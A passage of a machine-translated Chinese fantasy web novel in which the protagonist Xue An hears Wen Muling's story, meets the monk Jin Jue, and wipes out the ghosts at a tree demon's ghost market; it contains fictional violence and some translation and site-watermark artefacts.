    What exactly is going on?


    What did he say to the chief guard?


    A deep doubt appeared in A Qing''s heart.


    At the same time, Xue An said calmly: "Okay, get up!"


    Wen Mu Ling wiped her tears, stood up and stood aside respectfully.


    Xue An led her to the high platform, and said lightly: "Let''s talk about it, what happened after I left!"


    Wen Mu Ling smiled bitterly, "I don''t know exactly what happened. The only thing I know is the fall of Lord Mingjun, which is inseparable from the wealthy families in the Central Ghost World! But as for who was the initiator... ...."


    Wen Muling shook his head, "I''m sorry, please forgive me for being humble and low in strength, although after several inspections, I still know nothing!"


    "Central Ghost Realm..." Xue An muttered softly, a cold flash in his eyes.


    Wen Muling nodded, "Yes!"


    Then she looked at Xue An hopefully, and said cautiously: "My lord, the matter of Lord Mingjun..."


    Xue An smiled, "I see, don''t worry, even if the instigator is not found for the time being, these guys still can''t run, the big deal... all killed!"


    When he said this, although Xue An was smiling, the killing intent in his eyes could not be covered.


    Wen Mu Ling was shocked, shocked by Xue An''s heavy murderous aura, but soon there was joy on her face, "Thank you, Lord Ming, if you know..."


    Speaking of this, Wen Mu Ling''s voice began to choke again.


    Xue An waved his hand, "Okay, don''t cry! That guy is not dead again! Why are you crying?"


    Ok?


    Wen Muling''s eyes instantly rounded, and she looked at Xue An blankly, "You...you mean..."


    Xue An nodded, "I know him too well, how could he fall so easily with his strength?"


    A flame of hope suddenly ignited in Wen Mu Ling''s desperate heart, but she asked cautiously, "But... but now, there is no trace of the existence of Lord Mingjun''s soul!"


    Xue An smiled, "Don''t forget what your Master Mingjun does. He is an expert at playing with the soul. How can he easily find him with those idiots?"


    Wen Mu Ling''s tears fell sternly again. Over the years, she has been thinking about revenge for Lord Mingjun all the time.


    Sometimes I would secretly imagine that Lord Mingjun is not dead, he just hid in a corner and didn''t show up temporarily.


    But this idea, with the passage of time, gradually faded away, and eventually fell into complete despair.


    But now, when she heard the words of Shenhuo Guizun, who was as famous as Mingjun and still a close friend, she couldn''t help rekindling hope.


    "I knew it was like this! Ouuuuuuu Mingjun, it''s great that you weren''t dead!" Wen Muling whispered.


    Xue An didn''t urge him either. He knew that this woman was under too much pressure, so let him vent it now.


    After a long time, Wen Muling finally stopped her grief. Seeing Xue Anzheng standing aside and looking at herself with a smile, her face couldn''t help but flushed, and she hurriedly said: "I''m sorry, I..."


    Xue An waved his hand, "Well, needless to say! I still have a question to ask you!"


    "My lord, please speak!" Wen Mu Ling''s face instantly became solemn.


    "With your strength, how did you escape the chase of the giants in the central ghost world and hide it perfectly here?"


    This is also a question Xue An has had since discovering Wen Muling''s identity.


    Because he can see at a glance how Wen Mu Ling''s current strength is.


    Although in Xue An''s eyes, those wealthy families in the Central Ghost World are nothing.


    But based on Wen Mu Ling''s meager demeanor, it is impossible to escape their pursuit.


    That''s why Xue An asked this question.


    After hearing Xue An��s words, Wen Muling''s complexion changed slightly, but soon returned to normal, then she lowered her head and said like a mosquito: "My lord, I will tell you if you don��t ask about it. ! It''s just a matter of great importance..."


    "Oh? Let''s talk about it now!" Xue An waved his hand, and a barrier of divine consciousness isolated everyone.


    Wen Muling took a deep breath when she saw this, then slowly raised her head, and said in a deep voice: "My lord, do you believe that there are good people among the senior ghosts?"


    This question made Xue An stunned, then smiled and nodded, "Although the probability is lower, every ethnic group has both good and evil sides. Of course there will be good people in the ghost race! Otherwise, I will not follow. Your adults become friends!"


    Wen Mu Ling nodded, "What I''m talking about now is a matter of the higher level of the ghost clan! My life is saved by her and she also sympathizes with Master Mingjun. I don''t want to hurt her, so I''m so cautious!"


    Next, through Wen Muling''s narration, Xue An understood what happened.


    After he suddenly left the ghost world because of some urgent matter, Mingjun was depressed for a while, and a series of things happened immediately afterwards, and finally Mingjun was missing.


    However, his subordinates were not immune, and were besieged by the powerful families in the central ghost world and those powerful planes deep in the ghost world.


    At that time, Wen Mu Ling was naturally there, but her strength was too low, and she could only watch as the normally amiable seniors were wiped out one by one by those wealthy families.


    At that time, Wen Mu Ling was trembling with fright, but she had already embraced her belief in death and was ready to burn the jade.


    But because her strength was too low, no one took care of her from beginning to end.


    In the midst of this series of melee, Wen Mu Ling suddenly fainted, and when she woke up, she found that she was not dead. Not only did she not die, she came to a prosperous place.

 Chapter 1371： 1 sword sweeps the world

    At that time, Wen Mu Ling had some problems in her memory because of repeated blows. For the first time, she could not remember who she was.


    But she did not suffer any danger, on the contrary, during that time, she lived very well and happily!


    Because the place she is in is a very strange place.


    Speaking of this, Wen Mu Ling''s face showed a look of nostalgia, and she whispered: "I never thought that there is such a place in the world. The ghosts and humans live in harmony, and everyone is dedicated to their own little life. Work hard!"


    "Even many ghost girls like to find the scholar of the human race, and they have made a famous story!"


    Speaking of this, Wen Muling glanced at Xue An and said softly: "Sir, do you believe what I said?"


    Xue An''s face showed a very strange look, and then nodded, "Believe!"


    Wen Mu Ling smiled, and then went on to tell: "Later, my memory began to gradually recover. Although life there was very comfortable and comfortable, but in order to find Lord Mingjun and revenge for my senior brothers and sisters, I began to look for The way to leave that place!"


    "In the end, I met someone!" Wen Mu Ling''s eyes showed respect, "Although I have only seen the back, but I also know that she must be a stunning woman! She told me that she was from that azimuth plane. The person in charge, she also saved me!"


    "At the time, I was very grateful to her! But she said that she only came to the rescue because she couldn''t understand the ways of the giants in the Central Ghost World, and admired Master Mingjun''s personality!"


    "Later, at my repeated request, she sent me to the edge of the ghost world! She told me when I was leaving that I chose this road myself. She could not help much, so she could only help I sent it here!"


    After talking about these things, Wen Muling looked at Xue An nervously.


    Xue An pondered for a moment, and finally chuckled, "It''s kind of interesting! Can you still contact this plane?"


    Wen Muling hesitated a little, and finally gritted her teeth and took out a small bronze mirror from her arms.


    "The adult told me that if you want to find her, you can go back through this bronze mirror!"


    Xue An took the bronze mirror and gently stroked the tadpole-like runes on it, silently.


    "My lord, what do you plan to do next?" Wen Mu Ling asked softly.


    Xue An smiled, then raised his head and returned the bronze mirror to Wen Mu Ling, "Anyway, the person who saved you will know a lot! So what I have to do now is to find her first!"


    Wen Mu Ling became a little nervous, "But...will this hinder my benefactor..."


    It can be seen that Wen Muling respects this unknown savior.


    "Don''t worry, I just want to ask her some questions, and it won''t reveal her whereabouts! And..."


    Xue An didn''t finish the words behind, but gave Wen Muling a deep look.


    It''s just that Wen Mu Ling has been dazzled by ecstasy at this moment, so she didn''t notice anything unusual at all.


    "But my lord, you have killed the Ren family and the Tan family now. If you leave like this, if they come to this plane, will they harm the people here?" Wen Muling is worried. Said.


    Xue An smiled slightly, "I already thought of what you said. Before I killed the two of them, I had blocked all news with my spirit and disguised the information that they were still alive. Before I left, I This plane will also be temporarily sealed off! Worry-free!"


    Wen Muling nodded, "My lord, when shall we leave?"


    Xue An looked at the sky and said lightly: "I''ll meet a friend first, and you can arrange the people here too!"


    "Yes!" Wen Muling nodded, and when she raised her head again, there was no trace of Xue An in front of her.


    She couldn''t help but was stunned, along with A Qing, and Song Jingyue who had survived by chance, and others.


    Naturally, they couldn''t hear the conversation between Xue An and Wen Muling just now, but found that Xue An, who was still standing there just now, suddenly disappeared, and they couldn''t help but feel a little confused.


    At the same time, Wen Mu Ling took a deep breath to calm herself, and then waved at the distant A Qing and others.


    "Come here! I have something to tell you!"


    Just when Wen Mu Ling arranged these men.


    On an official road, Jin Jue, who was leading the Ghost Clan youth and his only disciple, strode forward, suddenly stopped.


    "Master! What''s wrong with you?" The Ghost Race boy was a little surprised, but before he could finish his words, his attention was attracted by the boy in white clothes standing not far away.


    Out of the instinct of the ghost race, he felt an extremely dangerous feeling from the white-clothed boy.


    It was as if standing in front of him was not a boy, but a hungry tyrannosaurus.


    This made him tremble, and a thought suddenly rose in his heart.


    There was clearly no one in front of him, so when did he appear?


    At this moment, Jin Jue was calm and clasped his hands together, "Donor, we meet again!"


    Xue An said leisurely: "Yes! See you again!"


    After that, his gaze swept over the ghost young man, wherever he passed, the ghost young man felt his whole body tremble and almost collapsed.


    "Is this your new apprentice?" Xue An asked slowly.


    "Yes!"


    Xue An nodded, "Not bad!"


    Jin Jue smiled, "The donor is also good!"


    "Huh?" Xue An said in surprise: "You think it''s good too?"


    "Are you surprised?" Jin Jue remained calm.


    "A little surprised, because according to common sense, shouldn''t you confess your guilt and feel that I have done too much?" Xue Anyou said.


    "It might have been before, but now I think that many things can only be solved with blood!" Jin Jue solemnly said.


    "Tsk tusk, this is not like what you should say!" Xue An smiled.


    Jin Jue also laughed I didn''t expect that the donor would have such a great power, how energetic and energetic the donor would be! "


    As soon as the words came out, the ghost clan youth finally understood what was going on, and instantly felt his scalp numb, and his heart was even more shocked.


    Was that shocking blow just now done by this young man in white clothes?


    Xue Anpo looked at Jin Jue curiously, "I haven''t seen you in a few days, the master seems to have changed a lot!"


    Jin Jue folded his hands together and said, "The Buddha''s three thousand methods, which can benefit sentient beings, I will choose which one! What''s more, killing the wicked is benevolent thoughts. Even the Buddha has an angry King Kong statue. Blindly compassionate will only harm more people! "


    Xue An applauded softly and exclaimed: "That''s good!"


    Jin Jue was neither overbearing nor overbearing, "Is the donor leaving?"


    Xue An nodded, then squeezed his eyes at Jin Jue, "I just want to ask you, what do you want me to say to you in other planes?"

 Chapter 1372： Buddhism

    As soon as these words came out, Jin Jue was silent, but looked at Xue An quietly. It was not until a long time later that he whispered: "So the donor already knew it!"


    Xue An smiled faintly, "I forgot to tell you, I have a friend who is a Buddhist cultivator, so I have seen your Buddhist cultivators!"


    Speaking of this, Xue An looked at Jin Jue with piercing eyes, "Incarnate into the world for hundreds of millions of dollars, this must be a means only available to the powers of the Bodhisattva of the Seven Earths in your Buddhist cultivation!"


    Jin Jue shook his head and replied honestly: "No! I am only the present Bodhisattva, one step short of being able to enter the invisible ground, so my incarnation is not perfect, and I can''t reach the world in an instant. To the point!"


    Xue An''s heart moved slightly. There are as many methods as the sands of the Ganges in the Buddha''s cultivation, but the most widely known is the way of the Bodhisattva.


    And this bodhisattva path is divided into ten places, namely the joyful place, the dirt-free place, the luminous place, the flame-wise place, the difficult place, the present place, the invisible place, the immovable place, the virtuous place, and the cloud place!


    This rank division is very different from the heavens, but the standards are similar.


    The intangible place is the seventh place bodhisattva, and the strength is equivalent to the power of the immortal king among the heavens, but because of the special method of Buddha cultivation, it can already be incarnate at this level.


    Now that Jin Jue personally admits that he is above the six grounds, and the cultivation base of the seven grounds is not full, that should be the standard of the half-step fairy king.


    Don''t underestimate this cultivation level, this is an extremely rare powerhouse among Buddhist cultivation.


    "When did the donor see through my identity?" Jin Jue asked curiously.


    A faint smile appeared on Xue An��s face, ��Actually, when I first met, I didn��t notice anything. I just felt that you, a monk, were dull and dull, but just now, my sword intent enveloped the whole movie. Heaven and earth, but I can''t see through your spirit, so I doubt it!"


    Jin Jue sighed lightly, "Sure enough, it''s still not perfect enough!"


    Xue An asked curiously: "Has your present avatar spread throughout the ghost world?"


    Jin Jue shook his head, "No, I didn''t go to those planes in the depths of the ghost world where the ghost race was too powerful, and I couldn''t enter the central ghost world if I wanted to!"


    A gleam of light flashed in Xue An''s eyes, "If you say that, you should be there on other planes?"


    Jin Jue nodded, "You can say so!"


    Xue An smiled, "That''s right, I''m going to another plane soon, what do you want to say?"


    Jin Juewu said sorrowfully and unhappily: "I understand the kindness of the donor, but since we are both incarnations, our starting points are all right. The Buddha has three thousand methods, and all we have to do is to find one suitable for this realm. The way to come! The method and process may be different, but the purpose is the same!"


    "Oh? What if you can''t find it?" Xue An asked suddenly.


    Jin Jue was silent for a moment, and then slowly said, "Then keep looking until you find it!"


    Xue looked at Jin Jue quietly, his eyes were bright and scary, but Jin Jue calmly faced Xue An''s gaze.


    After a while, Xue An lowered his eyes and said faintly: "But I think you still have a better appetite for me, so if you from other planes don''t suit my mind, I will die!"


    Jin Jue was silent, and finally clasped his hands together, "Good, the benefactor is a person with great power, and the little monk can''t interfere with what he wants!"


    Xue An laughed, and suddenly patted Jin Jue''s shoulder again, "I just like your dull look! Now this world has been cleaned up by me, even as a gift for you! See if you can turn Sao Po into Pure land!"


    After all, Xue An rose into the sky and disappeared into the sky instantly.


    Jin Jue watched quietly without saying a word.


    The ghost young man walked forward trembling, "Master...Master!"


    Jin Jue looked back at him, then lowered his eyes, "Let''s go!"


    "Yes!"


    Only this time Jin Jue''s footsteps became more determined, and the Buddha''s light became more radiant in his clear eyes!


    At the same time, Xue An has returned to Destiny City.


    At this moment, there are not only A Qing and other Zhulou women on the high platform, but also Wen Ling Cuisong Jingyue and the two masters and apprentices. All the surviving people are standing in the corner of the high platform with a panic expression on their faces.


    This panic is partly because the scene in which Xue Anjian swept the world before was too shocking, but the main reason was that these people found that they could no longer go.


    Regardless of how it came, it has all failed at this time.


    Now, these people are all frightened.


    Wen Lingcui''s face was also pale, and the expression in his eyes was uncertain, not knowing what Xue An was planning to do.


    On the contrary, Song Jingyue secretly happily felt that it was a good thing not to leave.


    In this case, I can see him more! Song Jingyue thought silently in her heart.


    At this moment, Xue An came back.


    When he saw his figure land on the high platform, there was a turmoil in the crowd, and many people''s faces appeared panic.


    Xue An didn''t pay attention to these people at all, just nodded slightly at the approaching Wen Mu Ling.


    "Is it done?"


    Wen Muling nodded, and said respectfully: "My lord, these men of mine stay guarded in this world, but because you have blocked this seat, how to deal with them..."


    Xue An turned his head to look at these people, and no one dared to raise his head wherever his eyes passed.


    Then Xue Ancai said calmly: "Since you can''t leave, let them stay here too! I believe they will be honest this time, right?"


    At the end, Xue An''s face showed a smile.


    But this smile is so terrible in the eyes of these people, they hurriedly bowed and said repeatedly.


    "My lord, don''t worry, we must be honest!"


    "Yes, we absolutely cooperate!"


    In these shouts, Xue An turned to Wen Muling, A Qing and others and shrugged slightly, "Hey, isn''t this solved? Is there anything else?"


    "Ah... no more!" Wen Mu Ling said hurriedly.


    "Well, let''s leave now!"


    "okay!"


    Wen Muling hurriedly took out the ancient mirror from her arms, but before she could take it out, Xue An drew across the void with one hand and saw a slender crack appeared in front of him.


    "This..." Wen Mu Ling was a little dumbfounded.


    "The ghost world is equivalent to an onion hugging each other, as long as you know the coordinates, you can easily go there!" Xue An turned his head and smiled.


    "Let''s go!"


    "Oh! Good!" Wen Muling nodded sluggishly, but her heart was full of question marks.


    easily?


    And just as Xue An was about to step into the crack in that space, Song Jingyue finally summoned the courage to shout.


    "My son, thank you for your life-saving grace that day!"


    Xue An stopped, turned his head and glanced at Song Jingyue among the crowd, then smiled and nodded.


    "It''s nothing to do! No thanks!"


    After all, Xue An and Wen Muling strode into this space crack and disappeared.


    At the same time, the eyes of these people gathered in the corner looking at Song Jingyue and Wen Lingcui, the master and apprentice, all changed ~ www.novelhall.com~ After all, for them, Xue An is now It can be regarded as the existence that holds their power of life and death.


    There are many women in the crowd. Although they are thinking about how to approach Xue An in their hearts, they dare not take any action.


    And looking at it now, Song Jingyue actually knew Xue An.


    How can this not make these people shocked and envied.


    Wen Lingcui couldn''t help but stunned, and asked with a look of confusion: "Jingyue, what kind of life-saving grace does he have for you?"


    Song Jingyue smiled, "Master, you don''t know, I actually... that night."


    Just as Song Jingyue was telling the true story of the night, A Qing stared blankly at the void that had been re-closed together, her fingers clenched together unconsciously.


    Chief Guard, Young Master, you must return safely!

 Chapter 1373： Small town ghost city

    As Xue An said, the entire ghost world is like an onion, with all planes closely connected, and there is no insurmountable barrier between them.


    And even if there is, Xue An can''t be troubled.


    The most difficult thing is to determine the coordinates of the plane to go.


    Otherwise, it would only be possible to cross one plane by one.


    Fortunately, the ancient mirror given to her by the person who rescued Wen Muling had real coordinates attached to it, so Xue An easily found this plane.


    But when the two of them walked out of the gap in space, Wen Muling couldn''t help but let out a shock.


    Because what appeared in front of them was a deserted town.


    It can be seen that this town should have been abandoned for a long time, and only through the buildings hidden by weeds can we vaguely recognize the original prosperity of this town.


    Xue An ignored these, but raised his hand and examined it carefully for a while, then said lightly: "Plane suppression?"


    Hearing these words from Xue An, Wen Mu Ling woke up like a dream, and then she felt the strangeness of this world.


    There seemed to be a huge force descending on her body, suppressing her own strength forcibly. In an instant, the strength she could use was out of ten.


    After feeling this scene, Wen Mu Ling''s complexion instantly paled, "How could this be..."


    Xue An''s hands were slowly held together, and he said leisurely: "When you were on this plane before, was there such suppression?"


    Wen Muling shook his head, "Absolutely not! At that time, this place was the same as other planes in the ghost world, and its aura was so strong that it could even catch up with the powerful planes deep in the ghost world!"


    Guanghua flashed in Xue An''s eyes, "So, this kind of suppression from the plane itself has only recently appeared?"


    Wen Mu Ling shook her head in despair, "I don''t know! But at least this kind of place... never appeared before."


    Although Wen Mu Ling''s strength is low, she can also feel the gloomy ghost in the small town in front of her.


    This is completely two extremes from the beautiful peace she felt when she was on this plane.


    Could it be... what happened to this place? What about his savior? Did something happen?


    At this point, Wen Mu Ling''s heart became extremely heavy.


    But at this moment, I saw Xue An stepping forward and walking into this deserted town.


    "My lord..." Wen Mu Ling was startled and couldn''t help shouting.


    When this situation is still unclear, the small town in front of you that is full of gloom is a bit weird!


    Xue An didn''t even turn his head, but said indifferently: "Let''s go! I can feel that the coordinates of your mirror are here!"


    With that said, he has already stepped into this small town.


    Seeing this scene, Wen Mu Ling gritted her teeth and looked at the quiet environment around her, only to feel strangeness everywhere in the darkness, and she couldn''t help but quickly follow.


    But when she had just followed Xue An into the small town, in the dark shadow, a huge root system wandered quietly, and finally submerged underground and disappeared.


    When I walked into this small town, the situation inside was much better than it looked outside.


    Except for the path that was shaded by weeds, the building remained largely intact.


    But the whole town was filled with a gloomy air that was too strong to be removed.


    Xue An did not stay, but walked along the street to the center of the town.


    When I finally came to a clearing in the middle of the town, I saw a towering tree standing here, with lush foliage and branches, even covering most of the square.


    Wen Muling gradually widened her eyes, and stared at the towering ancient tree blankly. When she was about to say something, Xue An''s voice appeared directly in her mind.


    "Stop talking! Keep silent!"


    Wen Mu Ling closed her mouth immediately and stood behind Xue An honestly.


    At this moment, a demon wind roared in, and several dark shadows appeared on the square. After they showed their figures, there were several strange ghosts.


    When they saw Xue An and Wen Muling standing not far away, they couldn''t help but startled and laughed strangely.


    "Tsk tusk, did someone come to the ghost market today before us?"


    "Hey, look at that little lady who looks really good! I can''t help drooling!"


    These ghosts were talking about something unscrupulously, but Xue An just stood in the darkness and waited quietly.


    As the demon wind howled, more and more ghosts appeared in this small square.


    These guys got together and talked, although many people expressed curiosity about Xue An, the focus of the discussion was still on the ghost market tonight.


    "I don''t know what good things can be this time!"


    "Last time I ran into a superb female ghost, but I missed it, which is really regrettable!"


    Amid these discussions, Wen Mu Ling secretly looked at these ghosts, her heart gradually tightening.


    It was not like this before!


    When I was on this plane, even though there were ghost races, they were all good and beautiful beings. There were no such strange and evil creatures!


    What is going on all this?


    A gloomy wind blew past, and a beautiful shadow appeared on the square, and behind this beautiful shadow was a pale but handsome young son.


    This combination made the ghosts in the field make a noise.


    "Yeah, I just said that the last time I met a top-quality female ghost, I missed it, and this time I came up with a more beautiful one!" A ghost that looked like a toad laughed strangely.


    "Hee hee, it looks like they are those who are unworthy!" A ghost sneered at the side.


    But no matter what these things said, the girl didn''t say a word, just stood there quietly.


    The young man standing behind her was pale, and he lowered his head and dared not look at the ghosts all over the courtyard.


    In this situation, the big tree in front of me suddenly began to sway, and its branches and leaves began to spread out, while roots emerged from the ground underneath, supporting everyone and began to rise.


    at last.


    When everything gradually calmed down, groups of ghost fires suddenly lit up, illuminating the platform as if it were daylight.


    Then on the trunk of this big tree, a figure of UU Reading slowly emerged.


    In an instant, only a hideous ghost wearing a green robe came out of it.


    "I have seen Lord Tree King!" Many ghosts bowed and saluted.


    The ghost just laughed, waved his hand and said, "No need to say more, let''s get started!"


    Following his words, the little ghost fire in front of him gradually faded, revealing all kinds of things.


    There is even a woman sleeping quietly with her hands on her knees, her long black hair covering her beautiful body.


    Seeing this scene, there was a commotion in the audience.


    Wen Muling''s eyes lit up because she saw an ancient mirror floating quietly in it.


    At the same time, I saw that toad-like ghost pointed at the sleeping woman, and said greedily, "This female ghost, I want it!"

 Chapter 1374： Im out of myself

    When he saw the sleeping woman, the young boy cried out, "Miss!"


    Then I wanted to rush forward.


    But with his strength, he was shaken back without even taking a step, and when he wanted to rush forward, the girl stepped forward and blocked him behind.


    The green-robed tree king Jiejie laughed strangely, "Lady? So you are here for this little lady! Why? Are you planning to take it on my turf?"


    The girl took a deep breath and shook her head, "I didn''t mean to wait!"


    "No intention, then what do you mean?"


    The girl was silent for a moment, and slowly said: "We are willing to bid to compete!"


    "Competition with bids? Hahahaha, okay! Then I have to see what price you can offer!" The green-robed tree king grinned.


    And the ghost like a toad was even more sarcasm, and smiled at the green-robed tree king: "Master Tree King, I am willing to make five secret treasures for this little lady!"


    With that, five ghost auras appeared around him, and there were five weird and eerie secret treasures in them.


    The green robe ghost king''s eyes lit up and nodded in satisfaction, "Very good!"


    The girl''s face became paler, and the young man standing behind her was even more sorrowful and indignant. He trembled and said, "Selling my lady as a commodity, you...you must not die...!"


    But despite his angry reprimands, no one paid any attention to what he said. For these ghosts, getting the benefits of their hands is the most important thing. As for the others, they are simply nonsense.


    The green-robed ghost king smiled at the long-haired girl, "Here, you have seen it too, now people are bidding for five secret treasures, what price are you planning to pay?"


    The long-haired girl was silent for a moment, and suddenly pulled out the hairpin behind her head, her knee-length hair poured down instantly, and then the girl solemnly said: "I''m out of myself!"


    This answer made the audience quiet for a moment, and the young son was also startled, and then said in grief, "Yuan Niang, no!"


    But his shout was drowned in the laughter of the ghosts in the audience.


    "Okay! Very good! It''s really worthy of being a ghost race native to this plane. It''s a good one to sacrifice oneself and perfect others!" The green robe tree king sighed, but his eyes were full of sarcasm.


    Yuanniang looked calm, and said lightly: "Are you finished?"


    The green-robed tree king''s laughter gradually subsided, and he stared at her playfully, "Huh?"


    Yuanniang pointed at the woman who was still in a coma, and said coldly: "After speaking, let her go, and then let them go!"


    "How do you know that I will agree?" Green-robed tree king sneered.


    "You will agree!" Yuanniang''s voice was extremely calm, "Because I am more valuable than her!"


    As he said, a blue aura appeared on Yuanniang''s head.


    really.


    After seeing this group of blue energy, all the ghosts in the audience were surprised and greedy.


    "The Qi of Yuan Yin, this little lady is an extremely rare Yuan Yin body!"


    "Tsk tusk, Bing Qing Yujie has begun to achieve it! The value of this little lady is really immeasurable!"


    The green-robed tree king''s breathing seemed to be heavier, and he took a deep look at Yuanniang, and finally nodded.


    "Okay! In that case, then I promise you!"


    After that, he lightly slapped the slap, and the woman bound by him fell down. The young man hurriedly rushed up, picked her up from the ground, and shouted repeatedly.


    "Qian''er!"


    "Qian''er, wake up!"


    After a few shouts, the woman slowly opened her eyes, and then roared, "Dare the thief!"


    He said that he planned to blew himself up, but the young son hugged her and said in tears: "It''s me, Qian''er! I''m the admiral!"


    After Xue An, standing in the shadows, heard these words, an extremely weird look instantly appeared on his face.


    Chosen! Qianer...


    Why does this name sound so familiar?


    At the same time, after feeling the familiar breath, this Xiaoqian finally recovered sober, and then hugged Ning Caichen and started crying.


    Ning Caichen was also in tears, but it was not the time to cry. He raised his head and looked at the girl sadly.


    At this time, Xiao Qian in her arms also felt the strangeness, she couldn''t help raising her head to look, and then she was also startled.


    "Yuan Niang..."


    Yuanniang''s face was pale, but she smiled at the two of them, "You two, hurry up!"


    "Go?" Then Xiao Qian saw Yuanniang''s loose long hair and the blue air on top of her head, and she instantly understood.


    "No, we won''t go!" Xiao Qian said solemnly.


    "Yes! If you sacrifice your life for the sake of life, what is the meaning of the two of us even if we survive?" Ning Caichen couldn''t help but anger.


    But before the two of them finished speaking, they were interrupted by a round of applause.


    "Tsk tsk, it''s a touching friendship!" The Green Robe Tree King applauded and said sarcastically.


    "You..." Xiao Qian glared at the words.


    She naturally had a deep memory of this tree demon who had captured herself from the detention site, and she hated him even more.


    "Hehe, stop talking nonsense, I always do things reasonable, and this little girl is willing to die for you, so you two will get out now!" Green-robed tree king said coldly.


    In fact, it is not that he is really reasonable. The reason why he intends to let go of Xiaoqian and Ning Caichen is that it is not worth irritating a female ghost with the body of Yuanyin.


    Otherwise, if you lose a lot because of a little, you will lose a lot.


    Nie Xiaoqian and Ning Caichen were planning to say something, Yuanniang shook their heads at them.


    "Let''s go, the sooner the better, leave me alone!"


    "But..." The two were still hesitating.


    "I let you two get off! Didn''t you hear it?" Yuanniang yelled abruptly.


    The two trembled all over, then slowly stood up, glanced at Yuanniang with complicated eyes, and finally supported each other and walked out of the space enveloped by the tree king.


    As soon as the two of them left, the situation in the field suddenly became enthusiastic. The toad-like ghost rubbed his hands and smiled at the tree king in green robe: "Master Tree King, I am willing to make ten of this little lady, no! Fifteen. Secret treasure! Look at..."


    Don��t wait for him to finish The green-robed tree king chuckled, "Stop talking nonsense, I''m not willing to sell this little girl!"


    Saying Chong Yuanniang waved, "Come here!"


    Yuanniang trembled all over, and then walked forward without hesitation.


    The green-robed tree king seemed to be impatient, so he said impatiently: "Okay, how much do you plan to pay for these things next? Say quickly, otherwise I will close the stall!"


    Before the remaining ghosts could speak, they only heard a cold voice with a hint of magnetism.


    "Wait!"


    When the sound came out, all the ghosts turned their heads to look.


    Including the determination in her heart that she was about to urge her cultivation base to perform the last secret technique, she couldn''t help but froze for a moment, then raised her eyes to look.


    Seeing Xue An slowly stepping out of the shadows, smiling at the ghosts in the audience, and then pointing to the ancient mirror among the objects placed by the green-robed tree king, "I want this ancient mirror! "

 Chapter 1375： I want to make a deal with everyone present...

    When she saw that she was a human teenager, Yuan Niang was taken aback for a moment, and then her eyes showed contempt.


    For those ghosts who have experienced the Belle Epoque, they naturally look down on this kind of humans who trade with evil spirits.


    The green-robed tree king looked at Xue An a few times, and then said coldly: "Yes, but what price can you offer?"


    "What''s the price..." Xue An smiled, "How about the lives of everyone present?"


    what?


    As soon as this sentence came out, the audience was quiet at first, even if there was a great uproar.


    Yuanniang, who had already shifted her gaze to another place, couldn''t help feeling a huge shock, and then looked at Xue An in amazement.


    What is he going to do?


    Could it be that he was wrong just now, he is not a human scum who takes refuge in evil spirits?


    But his words are too big!


    As if offended all the ghosts present!


    really!


    All the ghosts in the audience were furious.


    "Where does the human race dare to utter such crazy words?"


    "I think he wants to die!"


    "Hey, the human lady behind is also pretty good-looking, don''t **** me for a while!"


    In these discussions, the green-robed tree king stared at Xue An viciously, and said gloomily: "Boy, do you know what you are talking about?"


    Xue An nodded and said with a smile, "Of course I know!"


    "Then you dare to fight against me?" Green-robed Tree King roared.


    Xue An ignored his clamor at all. Instead, he looked at Yuanniang on the side and smiled faintly, "Excuse me, besides Nie Xiaoqian and Ning Caichen, are there other people you know, such as Yingning?"


    Yuanniang was struck by lightning and exclaimed: "Do you know Sister Ying?"


    An extremely weird look flashed in Xue An''s eyes, and he whispered to himself: "Sure enough!"


    After that, he smiled at Yuanniang, "Of course I know, but she may not know me!"


    After saying this sentence that made Yuanniang seem to understand, Xue An glanced at the angry green-robed tree king and the ghosts in the audience, and said leisurely: "Now tell me, can you agree with the price I just paid? "


    "Looking for death!" A few ghosts rushed forward very angry and hit Xue An with death.


    To them, being a human race is nothing at all.


    But the next second, they paid the price for their actions.


    These ghosts just rushed to Xue An, Xue An didn''t even move, just glanced at them.


    Bang bang bang!


    After several explosions, these ghosts burst open and died violently.


    hiss!


    This scene caused all the ghosts in the audience to take a breath.


    Even the green-robed tree king''s complexion became extremely solemn.


    Because he found that he couldn''t see through the boy in front of him.


    Especially this shocking blow made him feel full of shock.


    Yuanniang was also in astonishment. Before she came here, she had already thought about it, and through her own exchange of sister Xiaoqian, to complete the reunion of their husband and wife, while she watched the opportunity to explode and die with these evil spirits.


    Anyway, she has had enough of this kind of life, it is better to take a vigorous gamble.


    Unexpectedly, such a human youth of unknown origin suddenly appeared.


    At this moment, when the green-robed tree king''s complexion changed, he finally eased, and said in a deep voice, "Friend, isn''t this ancient mirror what you want? Now it belongs to you!"


    With that, a bunch of fluorescent light flew to Xue An with this ancient mirror.


    Xue Anxin took it, weighed it a few times, and threw it to Wen Mu Ling behind him, then smiled and looked at the Green Robe Tree King.


    The green-robed tree king was terrified by Xue An''s laugh, and couldn''t help but said coldly: "Friend, didn''t you just want this ancient mirror? I have given it to you now! If nothing else, please leave. !"


    For these ghost tribes who can make a name, they naturally know what to provoke and try not to provoke them.


    Although the Green Robe Tree King couldn''t understand Xue An''s origin, the more so, the more jealous he was.


    So I would rather suffer a bit of loss, but also want to settle things down.


    What''s more, it was easy for him to get the Fang Gu Jing, and it was totally unworthy of fighting for it.


    But looking at what this Human Race boy looks like now, he still seems a little dissatisfied!


    Just when the green-robed tree king was full of fear.


    Xue An said slowly: "I naturally want to get things, but as I said, I am a very reasonable person, so for the price I give, you have to ask for it, and if you don''t, you have to ask for it!"


    The eyes of the ghosts opened instantly.


    What do you mean?


    Everything has been given, what else does he want?


    The green-robed tree king was even more furious, but the last trace of reason made him calm down, and said coldly: "Friend, are you planning to kill them all?"


    Xue An clapped his hands suddenly and said in admiration, "Yes, that''s what I mean! I''ve been thinking about what words to use to describe it, but I never remembered it, thank you for reminding me!"


    boom!


    The whole audience was angry.


    Although they were all stunned by Xue An''s methods just now, now that they have been said to this point, naturally there is nothing to say.


    Therefore, these ghosts looked at each other together, and then rushed towards Xue An in unison.


    When the green-robed tree king saw this, he smiled even more.


    "There''s really a way to heaven, you don''t want to go, earth..."


    The words stopped abruptly, because at this moment, all the ghosts that rushed shook together, and then quietly began to disintegrate.


    Xue An slowly walked out of these cracked black mists, and smiled at the green-robed tree king who was terrified, "Are you trying to say that **** has no way to vote?"


    The green-robed tree king screamed, then grabbed Yuanniang, and stepped back without hesitation.


    As long as you enter the body, how can you help me?


    The Green Robe Tree King had a good plan in his heart.


    But helpless, Xue An had arrived before his figure rushed to the tree.


    He raised his head to look at this strange tree that is like a snake and python, and said lightly: "I don''t like this tree, I don''t like it very much!"


    After that, Xue An suddenly stretched out his hand and grabbed the tree trunk, his eyes flashed and he gave a soft drink.


    "Give me..."


    boom!


